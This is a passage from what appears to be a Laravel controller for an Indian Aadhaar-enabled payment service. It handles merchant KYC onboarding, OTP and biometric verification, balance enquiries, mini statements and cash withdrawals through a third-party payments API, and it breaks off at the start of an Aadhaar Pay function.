        $checkExistance = DB::table('aepskyc')->where('uid',$uid)->count();
        if($checkExistance > 0)
        return response()->json(['status'=>'ERROR','message'=>'Already completed the kyc please contact to admin for further process!!'],208);
        #fetch kyc data
        $kycData = DB::table('kyc')->where('uid',$uid)->first();
        #check if the current data and existing data are different
        if($aadhar != $kycData->adhaar || $pan != $kycData->pan)
        {
            #update the existing data with new data
            $upData = array(
                'adhaar' => $aadhar,
                'pan' => $pan
                );
            DB::table('kyc')->where('uid',$uid)->update($upData);
        }
		$api_key = DB::table('settings')->where('name','api_key')->first()->value;
// return $api_key;
        $aadharImagePath = $kycData->adhaarimg;
        $panImagePath = $kycData->panimg;
        $backgroundImageOfShop = $kycData->backgroundImageOfShop??$res->file('shop_photo');
        $aadharBase64 =  file_get_contents($aadharImagePath); 
        $panBase64 = file_get_contents($panImagePath); 
       //return response()->json(['status'=>'ERROR','message'=>'Already completed the kyc please contact to admin for further process!!'],208);
        $backgroundImageOfShopBase64 = file_get_contents($backgroundImageOfShop); 
        $aadhar64 =  'data:' . 'image/png' . ';base64,' . base64_encode($aadharBase64);
        $pan64 =  'data:' . 'image/png' . ';base64,' . base64_encode($panBase64);
        $backgroundImage64 =  'data:' . 'image/png' . ';base64,' . base64_encode($backgroundImageOfShopBase64);

        
        $url = "https://xapi.ecuzen.in/api/aeps/onboard";
        $sendingdata = array(
               "shopLongitude" => $res->log,
               "shopLatitude" => $res->lat,
               //"gst_number" => $gst_number,
               "first_name" => $first_name,
               "last_name" => $last_name,
               "address2" => $address,
               "shopAddress" => $kycData->shopaddress,
               "shopCity" => $city,
               "shopDistrict" => $kycData->district,
               "shopState" => $state,
               "shopPincode" => $pincode,
               "companyBankAccountNumber" => $companyBankAccountNumber,
               "bankIfscCode" => $bankIfscCode,
               "companyBankName" => $companyBankName,
               "bankAccountName" => $bankAccountHolderName,
               "maskedAadharImage" => $aadhar64,
               "merchantPanImage" => $pan64,
               "backgroundImageOfShop" => $backgroundImage64,

                "api_key" => $api_key,
                "latitude" => $res->lat,
                "longitude" => $res->log,
                "name" => $name,
                "mobile" => $phone,
                "email" => $email,
                "shopname" => $shopname,
                "city" => $city,
                "state" => $state,
                "pincode" => $pincode,
                "district" => $city,
                "address" => $address,
                "panno" => $pan,
                "aadharno" => $aadhar
            );
            
            // return $sendingdata;
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        // $response = '{"status":"SUCCESS","msg":"KYC COMPLETED","response":"successful","outlet_id":"ECZ7508537784"}';
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            if(isset($response->validated) && $response->validated == '1')
            {
                $sta = 3;
            }else{
                $sta = 1;
            }
            $insertData = array(
                'uid' => $uid,
                'outlet' => $response->outlet_id,
                'status' => $sta,
                'response' => json_encode($response),
                'request' => json_encode($sendingdata),
                );
            DB::table('aepskyc')->insert($insertData);
            return response()->json(['status'=>'SUCCESS','message'=>'Your outlet ID has been generated go for further procedures!!', 'key' => $sta]);
        }
        else
        {
            return response()->json(['status'=>'ERROR','message'=>$response->msg],400);
        }
      }
      
         public function updatedokyc(Request $res)
    {
        
      }
      
      
      

    public function aepsSendotp(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'lat' => 'required',
			'log' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $user = $res->user();
        $uid = $user->id;
        $aepsRow = Aeps::where('uid',$uid)->first();
        $outlet = $aepsRow->outlet;
       
        $url = 'https://xapi.ecuzen.in/api/aeps/send_otp';
        $sendingdata = array(
                "latitude" => $res->lat,
                "longitude" => $res->log,
                "outlet" =>$outlet
            );
         $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $upData = array(
                'response' => json_encode($response),
                );
            DB::table('aepskyc')->where('uid',$uid)->update($upData);
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'error'=>false]);
        }
        else
        {
            DB::table('aepskyc')->where('uid', $uid)->delete();
            if(isset($response->response))
            return response()->json(['status'=>'ERROR','message'=>$response->response]);
            else
            return response()->json(['status'=>'ERROR','message'=>$response->msg],500);
        }
    }
    public function aepsVerifyOtp(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'otp' => 'required|numeric'
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $user = $res->user();
        $uid = $user->id;
        $aepsRow = Aeps::where('uid',$uid)->first();
        $outlet = $aepsRow->outlet;
       
        $url = 'https://xapi.ecuzen.in/api/aeps/verify_otp';
        $otp = $res->otp;
        $sendingdata = array(
          
            'otp' => $otp,
            'outlet' => $outlet
            );
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        // $response = '{"status":"SUCCESS","msg":"OTP VERIFIED","response":"Request Completed"}';
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $upData = array(
                'status' => 2,
                'response' => json_encode($response)
                );
            DB::table('aepskyc')->where('uid',$uid)->update($upData);
            return response()->json(['status'=>'SUCCESS','message'=>'OTP Verified successfully go for further procedure','error'=>false]);
        }
        else
        {
            $upData = array(
                'status' => 1,
                'response' => json_encode($response)
                );
            DB::table('aepskyc')->where('uid',$uid)->update($upData);
            return response()->json(['status'=>'ERROR','message'=>$response->response,'error'=>false],400);
        }
    }
    public function verifyFinger(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'dsrno' => 'required',
			'pidType' => 'required',
			'pidData' => 'required',
			'ci' => 'required',
			'dc' => 'required',
			'dpId' => 'required',
			'errorCode' => 'required',
			'fCount' => 'required',
			'fType' => 'required',
			'hmac' => 'required',
			'mc' => 'required',
			'mi' => 'required',
			'nmPoints' => 'required',
		
			'rdsId' => 'required',
			'rdsVer' => 'required',
			'sessionKey' => 'required',
			'errorInfo' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $user = $res->user();
        $uid = $user->id;
        $outlet = DB::table('aepskyc')->where('uid',$uid)->first()->outlet;
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
       $url = 'https://xapi.ecuzen.in/api/aeps/biometric_verification';
        $sendingdata = array(
            'api_key' => $api_key,
            'outlet' => $outlet,
            'dsrno' => $res->dsrno,
            'pidtype' => $res->pidType,
            'piddata' => $res->pidData,
            'ci' => $res->ci,
            'dc' => $res->dc,
            'dpid' => $res->dpId,
            'errorcode' => $res->errorCode,
            'fcount' => $res->fCount,
            'ftype' => $res->fType,
            'hmac' => $res->hmac,
            'mc' => $res->mc,
            'mi' => $res->mi,
            'nmpoints' => $res->nmPoints,
            'qscore' => $res->qScore,
            'rdsid' => $res->rdsId,
            'rdsver' => $res->rdsVer,
            'sessionkey' => $res->sessionKey,
            'errorinfo' => $res->errorInfo
            );
       $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        // return $response;
        // $response = '{"status":"ERROR","msg":"ERROR IN KYC","response":"Invalid Details in BioMetric API"}';
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $upData = array(
                'status' => 3,
                'response' => json_encode($response),
                // 'aptfa' => date('Y-m-d H:i:s', strtotime(Carbon::now()->startOfDay()->subDay()))
                );
            $this->updateData('aepskyc','uid',$uid,$upData);
        return response()->json(['status'=>'SUCCESS','type'=>'kyc','message'=>$response->response,'error'=>false, 'tfa' => false]);
        }
        else
        {
            $upData = array(
                'status' => 1,
                'response' => json_encode($response)
                );
            $this->updateData('aepskyc','uid',$uid,$upData);
            return response()->json(['status'=>'ERROR','message'=>isset($response->response)?$response->response:$response->msg,'error'=>false],412);
        }
    }
    public function tfaVerification(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'dsrno' => 'required',
			'pidType' => 'required',
			'pidData' => 'required',
			'ci' => 'required',
			'dc' => 'required',
			'dpId' => 'required',
			 'lat' =>'required',
            'log' => 'required',
			'errorCode' => 'required',
			'fCount' => 'required',
			'fType' => 'required',
			'hmac' => 'required',
			'mc' => 'required',
			'mi' => 'required',
			'nmPoints' => 'required',
		
			'rdsId' => 'required',
			'rdsVer' => 'required',
			'sessionKey' => 'required',
			'errorInfo' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $user = $res->user();
        $uid = $user->id;
        $wallet = DB::table('users')->where('id',$uid)->first()->wallet;
        if($wallet < 1){
            return response()->json(['status'=>'ERROR','message'=>'Minimum 1 rupee has been in your wallet to do 2fa'],401);
        }
        $outlet = DB::table('aepskyc')->where('uid',$uid)->first()->outlet;
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
         $url = 'https://xapi.ecuzen.in/api/aeps/tfa';
        $sendingdata = array(
            'api_key' => $api_key,
            'outlet' => $outlet,
            'dsrno' => $res->dsrno,
            'pidtype' => $res->pidType,
            'piddata' => $res->pidData,
            'ci' => $res->ci,
             'lat' => $res->lat,
            'log' => $res->log,
            'dc' => $res->dc,
            'dpid' => $res->dpId,
            'errorcode' => $res->errorCode,
            'fcount' => $res->fCount,
            'ftype' => $res->fType,
            'hmac' => $res->hmac,
            'mc' => $res->mc,
            'mi' => $res->mi,
            'nmpoints' => $res->nmPoints,
            'qscore' => $res->qScore,
            'rdsid' => $res->rdsId,
            'rdsver' => $res->rdsVer,
            'sessionkey' => $res->sessionKey,
            'errorinfo' => $res->errorInfo,
            );
        /*DB::table('test')->insert(['data'=>json_encode($sendingdata)]);*/
         $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        /*DB::table('test')->insert(['data'=>$response]);*/
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $upData = array(
                'tfadate' => date('Y-m-d H:i:s', strtotime(Carbon::now())),
                'tfaresponse' => json_encode($response)
                );
            $this->updateData('aepskyc','uid',$uid,$upData);
            if(isset($response->charge)){
                $charge = '1';
                if($charge != 0){
                    $tempTxnid = 'TFA'.rand(1000000000,9999999999);
                    $this->debitEntry($uid,'TFA-Charge',$tempTxnid,$charge);
                }
            }
        return response()->json(['status'=>'SUCCESS','type'=>'kyc','message'=>'Two-factor authentication Verified successfully','error'=>false]);
        }
        else
        {
            $upData = array(
                'tfadate' => date('Y-m-d H:i:s', strtotime('-1 days')),
                'tfaresponse' => json_encode($response)
                );
            $this->updateData('aepskyc','uid',$uid,$upData);
            return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],400);
        }
    }
    public function apTfaVerification(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'dsrno' => 'required',
			'pidType' => 'required',
			'pidData' => 'required',
			'lat' =>'required',
   'log' => 'required',
			'ci' => 'required',
			'dc' => 'required',
			'dpId' => 'required',
			'errorCode' => 'required',
			'fCount' => 'required',
			'fType' => 'required',
			'hmac' => 'required',
			'mc' => 'required',
			'mi' => 'required',
			'nmPoints' => 'required',
			'qScore' => 'required',
			'rdsId' => 'required',
			'rdsVer' => 'required',
			'sessionKey' => 'required',
			'errorInfo' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $user = $res->user();
        $uid = $user->id;
        $outlet = DB::table('aepskyc')->where('uid',$uid)->first()->outlet;
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $url = 'https://partner.ecuzen.in/new/api/aeps/tfa';
        $sendingdata = array(
            'api_key' => $api_key,
            'outlet' => $outlet,
            'dsrno' => $res->dsrno,
            'pidtype' => $res->pidType,
            'piddata' => $res->pidData,
             'lat' => $res->lat,
            'log' => $res->log,
            'ci' => $res->ci,
            'dc' => $res->dc,
            'dpid' => $res->dpId,
            'errorcode' => $res->errorCode,
            'fcount' => $res->fCount,
            'ftype' => $res->fType,
            'hmac' => $res->hmac,
            'mc' => $res->mc,
            'mi' => $res->mi,
            'nmpoints' => $res->nmPoints,
            'qscore' => $res->qScore,
            'rdsid' => $res->rdsId,
            'rdsver' => $res->rdsVer,
            'sessionkey' => $res->sessionKey,
            'errorinfo' => $res->errorInfo,
            'service_type' => 'AP'
            );
        $response = $this->callApiwithHeader($url,'POST',json_encode($sendingdata),['api-key' => $api_key]);
        DB::table('test')->insert(['data'=>$response]);
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $upData = array(
                'aptfa' => date('Y-m-d H:i:s', strtotime(Carbon::now())),
                'aptfaresponse' => json_encode($response)
                );
            $this->updateData('aepskyc','uid',$uid,$upData);
        return response()->json(['status'=>'SUCCESS','type'=>'kyc','message'=>'AP Two-factor authentication Verified successfully','error'=>false]);
        }
        else
        {
            return response()->json(['status'=>'ERROR','message'=>$response->msg,'error'=>false],400);
        }
    }
    public function balanceEnquiry(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'dsrno' => 'required',
			'pidType' => 'required',
			'pidData' => 'required',
			'ci' => 'required',
			'dc' => 'required',
			'dpId' => 'required',
			'errorCode' => 'required',
			'fCount' => 'required',
			'fType' => 'required',
			'hmac' => 'required',
			'mc' => 'required',
			'mi' => 'required',
			'nmPoints' => 'required',
		
			'rdsId' => 'required',
			'rdsVer' => 'required',
			'sessionKey' => 'required',
			'errorInfo' => 'required',
			'mobile' => 'required|numeric|digits:10',
			'aadhar' => 'required|numeric|digits:12',
			'bank' => 'required|numeric',
			'lat' => 'required',
			'log' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $user = $res->user();
        $uid = $user->id;
        $aadhar = $res->aadhar;
        $mobile = $res->mobile;
        $bank = $res->bank;
        $check = $this->checkservice('aeps',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error' => false],503);
        $outlet = DB::table('aepskyc')->where('uid',$uid)->first()->outlet;
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
        $url = "https://xapi.ecuzen.in/api/aeps/balance_enquery";
         $txnid="BE".strtoupper(uniqid());
        $sendingdata = array(
            'lat' => $res->lat,
            'log' => $res->log,
             'txnid' => $txnid,
            'api_key' => $api_key,
            'outlet_id' => $outlet,
            'dsrno' => $res->dsrno,
            'pidtype' => $res->pidType,
            'piddata' => $res->pidData,
            'ci' => $res->ci,
            'dc' => $res->dc,
            'dpid' => $res->dpId,
            'errorcode' => $res->errorCode,
            'fcount' => $res->fCount,
            'ftype' => $res->fType,
            'hmac' => $res->hmac,
            'mc' => $res->mc,
            'mi' => $res->mi,
            'nmpoints' => $res->nmPoints,
            'qscore' => $res->qScore,
            'rdsid' => $res->rdsId,
            'rdsver' => $res->rdsVer,
            'sessionkey' => $res->sessionKey,
            'adhaarno' => $aadhar,
            'bankcode' => $bank,
            'mobile' => $mobile,
            'errorinfo' => $res->errorInfo,
            );
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        // return $response;
        #failed response
        // $response = '{"status":"FAILED","msg":"Customer  Aadhaar number is not linked with Selected Bank. Please check with the bank or select another Aadhaar linked bank","bank_ref":"234510440466","txnid":"BE4134751607"}';
        #success response
        // $response = '{"status":"SUCCESS","msg":"Request Completed","bank_ref":"234510441127","balance":30069.94,"txnid":"BE9504555759"}';
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $insertData = array(
                'uid' => $uid,
                'type' => 'BE',
                'txnid' => $response->txnid,
                'amount' => round($response->balance,2),
                'status' => $response->status,
                'message' => $response->msg,
                'aadhar' => 'XXXXXXXX'.substr($aadhar,-4),
                'rrn' => $response->bank_ref,
                'bank' => $bank,
                'mobile' => $mobile,
                'response' => json_encode($response)
                );
            $this->insertdata('iaepstxn',$insertData);
           
            $insertData['bank'] = DB::table('banks')->where('id',$insertData['bank'])->first()->name;
            $insertData['date'] = Carbon::now()->format('Y-m-d H:i:s');
            $insertData['support'] = DB::table('settings')->where('name','cemail')->first()->value;
            $insertData['txnamount'] = (double)0;
            $insertData['ministatement'] = [];
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data' => ['receiptData'=>$insertData]]);
        }
        else
        {
             if($response->msg == 'Please do 2FA before this transaction'){
            $upData = array(
                'tfadate' => date('Y-m-d H:i:s', strtotime(Carbon::now()->startOfDay()->subDay())),
                'tfaresponse' => json_encode($response)
                );
            $this->updateData('aepskyc','uid',$uid,$upData);
        }
            $insertData = array(
                'uid' => $uid,
                'type' => 'BE',
                'txnid' => isset($response->txnid)?$response->txnid:'BETEMP'.rand(1000000000,9999999999),
                'amount' => isset($response->balance)?$response->balance:'NA',
                'status' => $response->status,
                'message' => $response->msg,
                'aadhar' => 'XXXXXXXX'.substr($aadhar,-4),
                'rrn' => isset($response->bank_ref)?$response->bank_ref:'TEMP'.rand(1000000000,9999999999),
                'bank' => $bank,
                'mobile' => $mobile,
                'response' => json_encode($response)
                );
            $this->insertdata('iaepstxn',$insertData);
            $insertData['bank'] = DB::table('banks')->where('id',$insertData['bank'])->first()->name;
            $insertData['date'] = Carbon::now()->format('Y-m-d H:i:s');
            $insertData['support'] = DB::table('settings')->where('name','cemail')->first()->value;
            $insertData['txnamount'] = (double)0;
            $insertData['ministatement'] = [];
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data' => ['receiptData'=>$insertData]]);
        }
    }
    public function miniStatement(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'dsrno' => 'required',
			'pidType' => 'required',
			'pidData' => 'required',
			'ci' => 'required',
			'dc' => 'required',
			'dpId' => 'required',
			'errorCode' => 'required',
			'fCount' => 'required',
			'fType' => 'required',
			'hmac' => 'required',
			'mc' => 'required',
			'mi' => 'required',
			'nmPoints' => 'required',
			
			'rdsId' => 'required',
			'rdsVer' => 'required',
			'sessionKey' => 'required',
			'errorInfo' => 'required',
			'mobile' => 'required|numeric|digits:10',
			'aadhar' => 'required|numeric|digits:12',
			'bank' => 'required|numeric',
			'lat' => 'required',
			'log' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
        $user = $res->user();
        $uid = $user->id;
        $aadhar = $res->aadhar;
        $mobile = $res->mobile;
        $bank = $res->bank;
        $check = $this->checkservice('aeps',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $commissionRow = DB::table('mscom')->where('package',$user->package)->first();
        if($commissionRow == "" || $commissionRow == null)
        return response()->json(['status'=>'ERROR','message'=>'Commission is not set for you please contact to admin!','error'=>false],503);
        if($commissionRow->percent == 1)
        $commission = $commissionRow->amount/100;
        else
        $commission = $commissionRow->amount;
        $outlet = DB::table('aepskyc')->where('uid',$uid)->first()->outlet;
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
       $url = "https://xapi.ecuzen.in/api/aeps/mini_statement";
         $txnid="MS".strtoupper(uniqid());
        $sendingdata = array(
            'lat' => $res->lat,
            'log' => $res->log,
            'api_key' => $api_key,
             'txnid' => $txnid,
            'outlet_id' => $outlet,
            'dsrno' => $res->dsrno,
            'pidtype' => $res->pidType,
            'piddata' => $res->pidData,
            'ci' => $res->ci,
            'dc' => $res->dc,
            'dpid' => $res->dpId,
            'errorcode' => $res->errorCode,
            'fcount' => $res->fCount,
            'ftype' => $res->fType,
            'hmac' => $res->hmac,
            'mc' => $res->mc,
            'mi' => $res->mi,
            'nmpoints' => $res->nmPoints,
            'qscore' => $res->qScore,
            'rdsid' => $res->rdsId,
            'rdsver' => $res->rdsVer,
            'sessionkey' => $res->sessionKey,
            'adhaarno' => $aadhar,
            'bankcode' => $bank,
            'mobile' => $mobile,
            'errorinfo' => $res->errorInfo
            );
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        DB::table('test')->insert(['data' => $response]);
    //   $response = '{"status":"SUCCESS","msg":"Request Completed","bank_ref":"535215802371","mini_statement":[".P\/:0 5640100006061:In C      15.00","9:\/1: PI\/961730002915\/ C       1.00","26\/\/E MPS\/P2A\/52901473 C     100.00","55\/\/X TM\/FUND\/52811607 D      23.60","9:\/0: PI\/181416571633\/ D      10.00","7:\/2: PI\/446492315033\/ D     195.00","9:\/3: PI\/440445467899\/ D      10.00","1:\/8: PI\/995692511971\/ D     155.00","1:\/2: PI\/952544987815\/ D      28.00","             Balance:+0000000119.78"],"txnid":"MS8079731197","balance":119.78}';
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            
            $insertData = array(
                'uid' => $uid,
                'type' => 'MSI',
                'txnid' => $response->txnid,
                'amount' => round($response->balance,2),
                'status' => $response->status,
                'message' => $response->msg,
                'aadhar' => 'XXXXXXXX'.substr($aadhar,-4),
                'rrn' => $response->bank_ref,
                'bank' => $bank,
                'mobile' => $mobile,
                'response' => json_encode($response)
                );
            $this->insertdata('iaepstxn',$insertData);
            $this->creditEntry($uid,'MSI-COMMISSION',$response->txnid,round($commission,2));
            $this->distributeComm($uid,'MSI-COMMISSION','mscom',0,$response->txnid,'');
            $insertData['bank'] = DB::table('banks')->where('id',$insertData['bank'])->first()->name;
            
            $miniStatement = [];
            if (!empty($response->mini_statement)) {
                foreach ($response->mini_statement as $line) {
                    // Example: "9:/6: PI/063054493194/ D     113.00"
                    preg_match('/(\d+):\/(\d+):\s*PI\/(\d+)\/\s*([CD])\s+([\d.]+)/', $line, $matches);
                    if ($matches) {
                        $miniStatement[] = (object) [
                            'date' => now()->format('d/m/Y'),
                            'txnType' => $matches[4] === 'D' ? 'Dr' : 'Cr',
                            'amount' => $matches[5],
                            'narration' => 'PI/' . $matches[3]
                        ];
                    }
                }
            }
            
            
            $insertData['ministatement'] = $miniStatement;
            $insertData['date'] = Carbon::now()->format('Y-m-d H:i:s');
            $insertData['support'] = DB::table('settings')->where('name','cemail')->first()->value;
            $insertData['txnamount'] = (double)0;
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data' => ['receiptData'=>$insertData]]);
        }
        else
        {
            if($response->msg == 'Please do 2FA before this transaction'){
            $upData = array(
                'tfadate' => date('Y-m-d H:i:s', strtotime(Carbon::now()->startOfDay()->subDay())),
                'tfaresponse' => json_encode($response)
                );
            $this->updateData('aepskyc','uid',$uid,$upData);
        }
            $insertData = array(
                'uid' => $uid,
                'type' => 'MSI',
                'txnid' => isset($response->txnid)?$response->txnid:'MSITEMP'.rand(1000000000,9999999999),
                'amount' => isset($response->balance)?$response->balance:'NA',
                'status' => $response->status,
                'message' => $response->msg,
                'aadhar' => 'XXXXXXXX'.substr($aadhar,-4),
                'rrn' => isset($response->bank_ref)?$response->bank_ref:'TEMP'.rand(1000000000,9999999999),
                'bank' => $bank,
                'mobile' => $mobile,
                'response' => json_encode($response)
                );
            $this->insertdata('iaepstxn',$insertData);
            $insertData['bank'] = DB::table('banks')->where('id',$insertData['bank'])->first()->name;
            $insertData['ministatement'] = isset($response->mini_statement)?$response->mini_statement:[];
            $insertData['date'] = Carbon::now()->format('Y-m-d H:i:s');
            $insertData['support'] = DB::table('settings')->where('name','cemail')->first()->value;
            $insertData['txnamount'] = (double)0;
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data' => ['receiptData'=>$insertData]]);
        }
      }
    public function cashWithdrawal(Request $res)
    {
        $validator = Validator::make($res->all(), [
			'dsrno' => 'required',
			'pidType' => 'required',
			'pidData' => 'required',
			'ci' => 'required',
			'dc' => 'required',
			'dpId' => 'required',
			'errorCode' => 'required',
			'fCount' => 'required',
			'fType' => 'required',
			'hmac' => 'required',
			'mc' => 'required',
			'mi' => 'required',
			'nmPoints' => 'required',
			'rdsId' => 'required',
			'rdsVer' => 'required',
			'sessionKey' => 'required',
			'errorInfo' => 'required',
			'mobile' => 'required|numeric|digits:10',
			'aadhar' => 'required|numeric|digits:12',
			'bank' => 'required|numeric',
			'amount' => 'required|numeric|gt:0',
			'lat' => 'required',
			'log' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$user = $res->user();
		$uid = $user->id;
		$aadhar = $res->aadhar;
        $mobile = $res->mobile;
        $bank = $res->bank;
        $amount = $res->amount;
        $check = $this->checkservice('aeps',$uid);
        if($check->status == 'ERROR')
        return response()->json(['status'=>'ERROR','message'=>$check->message,'error'=>false],503);
        $commission = $this->checkcharge($amount,'icaepscomission',$user->package);
        if($commission != true)
        return response()->json(['status'=>'ERROR','message'=>'Commissions are not set for you please contact to admin!','error'=>false],503);
        $outlet = DB::table('aepskyc')->where('uid',$uid)->first()->outlet;
        $api_key = DB::table('settings')->where('name','api_key')->first()->value;
         $url = "https://xapi.ecuzen.in/api/aeps/cash_withdrawal";
         $txnid="CW".strtoupper(uniqid());
        $sendingdata = array(
            'lat' => $res->lat,
            'log' => $res->log,
            'api_key' => $api_key,
            'outlet_id' => $outlet,
             'txnid' => $txnid,
            'dsrno' => $res->dsrno,
            'pidtype' => $res->pidType,
            'piddata' => $res->pidData,
            'ci' => $res->ci,
            'dc' => $res->dc,
            'dpid' => $res->dpId,
            'errorcode' => $res->errorCode,
            'fcount' => $res->fCount,
            'ftype' => $res->fType,
            'hmac' => $res->hmac,
            'mc' => $res->mc,
            'mi' => $res->mi,
            'nmpoints' => $res->nmPoints,
            'qscore' => $res->qScore,
            'rdsid' => $res->rdsId,
            'rdsver' => $res->rdsVer,
            'sessionkey' => $res->sessionKey,
            'adhaarno' => $aadhar,
            'bankcode' => $bank,
            'mobile' => $mobile,
            'errorinfo' => $res->errorInfo,
            'amount' => $res->amount,
            );
        $response = $this->callApi($url,'POST',json_encode($sendingdata),'p');
        #failed response
        // $response = '{"status":"FAILED","msg":"Customer  Aadhaar number is not linked with Selected Bank. Please check with the bank or select another Aadhaar linked bank","bank_ref":"234510440466","txnid":"BE4134751607"}';
        #success response
        // $response = '{"status":"SUCCESS","msg":"Request Completed","bank_ref":"320912728953","txnamount":"1550","txnid":"CW9785212695","Remaining_balance":31.410000000000000142108547152020037174224853515625,"uidai":"","message":"Request Completed","rrn":"320912728953"}';
        $response = json_decode($response);
        if($response->status == 'SUCCESS')
        {
            $insertData = array(
                'uid' => $uid,
                'type' => 'CW',
                'txnid' => $response->txnid,
                'amount' => round($response->Remaining_balance,2),
                'status' => $response->status,
                'message' => $response->msg,
                'aadhar' => 'XXXXXXXX'.substr($aadhar,-4),
                'rrn' => $response->bank_ref,
                'bank' => $bank,
                'mobile' => $mobile,
                'txnamount' => $response->txnamount,
                'response' => json_encode($response)
                );
            $this->insertdata('iaepstxn',$insertData);
            #wallet entry
            $this->creditEntry($uid,'CASH-WIDTHDRAWAL',$response->txnid,$response->txnamount);
            $this->creditEntry($uid,'CW-COMMISSION',$response->txnid,$commission);
            $this->distributeCommission($uid,'CW-COMMISSION','adhaarpaycharge',$response->txnamount,$response->txnid);
            $insertData['bank'] = DB::table('banks')->where('id',$insertData['bank'])->first()->name;
            $insertData['date'] = Carbon::now()->format('Y-m-d H:i:s');
            $insertData['support'] = DB::table('settings')->where('name','cemail')->first()->value;
            $insertData['ministatement'] = [];
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data' => ['receiptData'=>$insertData]]);
        }
        else
        {
            
             if($response->msg == 'Please do 2FA before this transaction'){
            $upData = array(
                'tfadate' => date('Y-m-d H:i:s', strtotime(Carbon::now()->startOfDay()->subDay())),
                'tfaresponse' => json_encode($response)
                );
            $this->updateData('aepskyc','uid',$uid,$upData);
        }
            $insertData = array(
                'uid' => $uid,
                'type' => 'CW',
                'txnid' => isset($response->txnid)?$response->txnid:'CWTEMP'.rand(1000000000,9999999999),
                'amount' => isset($response->Remaining_balance)?$response->Remaining_balance:'NA',
                'status' => $response->status,
                'message' => $response->msg,
                'aadhar' => 'XXXXXXXX'.substr($aadhar,-4),
                'rrn' => isset($response->bank_ref)?$response->bank_ref:'TEMP'.rand(1000000000,9999999999),
                'bank' => $bank,
                'mobile' => $mobile,
                'txnamount' => isset($response->txnamount)?$response->txnamount:$amount,
                'response' => json_encode($response)
                );
            $this->insertdata('iaepstxn',$insertData);
            $insertData['bank'] = DB::table('banks')->where('id',$insertData['bank'])->first()->name;
            $insertData['date'] = Carbon::now()->format('Y-m-d H:i:s');
            $insertData['support'] = DB::table('settings')->where('name','cemail')->first()->value;
            $insertData['ministatement'] = [];
            return response()->json(['status'=>'SUCCESS','message'=>$response->msg,'data' => ['receiptData'=>$insertData]]);
        }
    }
    public function aadharPay(Request $res)
    {
        
        $validator = Validator::make($res->all(), [
			'dsrno' => 'required',
			'pidType' => 'required',
			'pidData' => 'required',
			'ci' => 'required',
			'dc' => 'required',
			'dpId' => 'required',
			'errorCode' => 'required',
			'fCount' => 'required',
			'fType' => 'required',
			'hmac' => 'required',
			'mc' => 'required',
			'mi' => 'required',
			'nmPoints' => 'required',
			'qScore' => 'required',
			'rdsId' => 'required',
			'rdsVer' => 'required',
			'sessionKey' => 'required',
			'errorInfo' => 'required',
			'mobile' => 'required|numeric|digits:10',
			'aadhar' => 'required|numeric|digits:12',
			'bank' => 'required|numeric',
			'amount' => 'required|numeric|gt:0',
			'lat' => 'required',
			'log' => 'required',
		]);
		if ($validator->fails()) {
			return response()->json(['status' => 'ERROR', 'message' => $validator->errors()->first(), 'info' => $validator->errors(),'error'=>false],400);
		}
		$user = $res->user();
		$uid = $user->id;
        $aadhar = $res->aadhar;
        $mobile = $res->mobile;
        $bank = $res->bank;
        $amount = $res->amount;
        $check = $this->checkservice('aeps',$uid);
        if($check->status == 'ERROR')
